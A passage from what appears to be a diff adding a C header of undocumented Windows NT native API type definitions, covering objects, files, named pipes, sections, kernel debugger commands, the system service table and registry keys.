OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#endif + + +/* +** Objects START +*/ + +#ifndef _OBJECT_INFORMATION_CLASS +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; +#endif + +#ifndef _OBJECT_BASIC_INFORMATION +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; +#endif + +#ifndef _OBJECT_NAME_INFORMATION +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; +#endif + +#ifndef _OBJECT_TYPE_INFORMATION +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; +#endif + +typedef struct _OBJECT_TYPE_INFORMATION_8 { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION_8, *POBJECT_TYPE_INFORMATION_8; + +#ifndef _OBJECT_TYPES_INFORMATION +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; +#endif + +#ifndef _OBJECT_HANDLE_FLAG_INFORMATION +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; +#endif +/* +** Objects END +*/ + +/* +** Boot Entry START +*/ + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_ENTRY_LIST { + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, *PBOOT_ENTRY_LIST; + +/* +** Boot Entry END +*/ + +/* +** File start +*/ + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#ifndef _FILE_INFORMATION_CLASS +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; +#endif + +#ifndef _FILE_INFORMATION_CLASS +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; +#endif + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +// +// Define the NamedPipeType flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 + +// +// Define the CompletionMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// +// Define the ReadMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// +// Define the NamedPipeConfiguration flags for NtQueryInformation +// + +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// +// Define the NamedPipeState flags for NtQueryInformation +// + +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// +// Define the NamedPipeEnd flags for NtQueryInformation +// + +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +// +// Define the flags for NtSet(Query)EaFile service structure entries +// + +#define FILE_NEED_EA 0x00000080 + +// +// Define EA type values +// + +#define FILE_EA_TYPE_BINARY 0xfffe +#define FILE_EA_TYPE_ASCII 0xfffd +#define FILE_EA_TYPE_BITMAP 0xfffb +#define FILE_EA_TYPE_METAFILE 0xfffa +#define FILE_EA_TYPE_ICON 0xfff9 +#define FILE_EA_TYPE_EA 0xffee +#define FILE_EA_TYPE_MVMT 0xffdf +#define FILE_EA_TYPE_MVST 0xffde +#define FILE_EA_TYPE_ASN1 0xffdd +#define FILE_EA_TYPE_FAMILY_IDS 0xff01 + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + +typedef struct _FILE_FS_VOLUME_INFORMATION { + LARGE_INTEGER VolumeCreationTime; + ULONG VolumeSerialNumber; + ULONG VolumeLabelLength; + BOOLEAN SupportsObjects; + WCHAR VolumeLabel[1]; +} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION; + +/* +** File END +*/ + +/* +** Section START +*/ + +#ifndef _SECTION_INFORMATION_CLASS +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + SectionRelocationInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; +#endif + +typedef struct _SECTIONBASICINFO { + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#define SEC_BASED 0x200000 +#define SEC_NO_CHANGE 0x400000 +#define SEC_FILE 0x800000 +#define SEC_IMAGE 0x1000000 +#define SEC_RESERVE 0x4000000 +#define SEC_COMMIT 0x8000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_GLOBAL 0x20000000 +#define SEC_LARGE_PAGES 0x80000000 + +/* +** Section END +*/ + +/* +** Kernel Debugger START +*/ + +#ifndef _SYSDBG_COMMAND +typedef enum _SYSDBG_COMMAND { + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; +#endif + +#ifndef _SYSDBG_VIRTUAL +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; +#endif + +/* +** Kernel Debugger END +*/ + +/* +** System Table START +*/ +#define NUMBER_SERVICE_TABLES 2 +#define SERVICE_NUMBER_MASK ((1 << 12) - 1) + +#if defined(_WIN64) + +#if defined(_AMD64_) + +#define SERVICE_TABLE_SHIFT (12 - 4) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 4) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 4) + +#else + +#define SERVICE_TABLE_SHIFT (12 - 5) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 5) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 5) + +#endif + +#else + +#define SERVICE_TABLE_SHIFT (12 - 4) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 4) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 4) + +#endif + +typedef struct _KSERVICE_TABLE_DESCRIPTOR { + ULONG_PTR Base; //e.g. KiServiceTable + PULONG Count; + ULONG Limit;//e.g. KiServiceLimit + PUCHAR Number; //e.g. KiArgumentTable +} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR; +/* +** System Table END +*/ + + +/* +** System Boot Environment START +*/ + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1 // Size=20 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1; + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION // Size=32 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; + unsigned __int64 BootFlags; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; + +/* +** System Boot Environment END +*/ + +/* +** Mutant START +*/ + +#ifndef _MUTANT_INFORMATION_CLASS +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; +#endif + +#ifndef _MUTANT_BASIC_INFORMATION +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; +#endif + +/* +** Mutant END +*/ + +/* +** Key START +*/ + +#ifndef _KEY_INFORMATION_CLASS +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; +#endif + +#ifndef _KEY_FULL_INFORMATION +typedef struct _KEY_FULL_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; +#endif + +#ifndef _KEY_BASIC_INFORMATION +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_INFORMATION_CLASS +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; +#endif + +#ifndef _KEY_VALUE_BASIC_INFORMATION +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_FULL_INFORMATION +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size + // Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +typedef struct 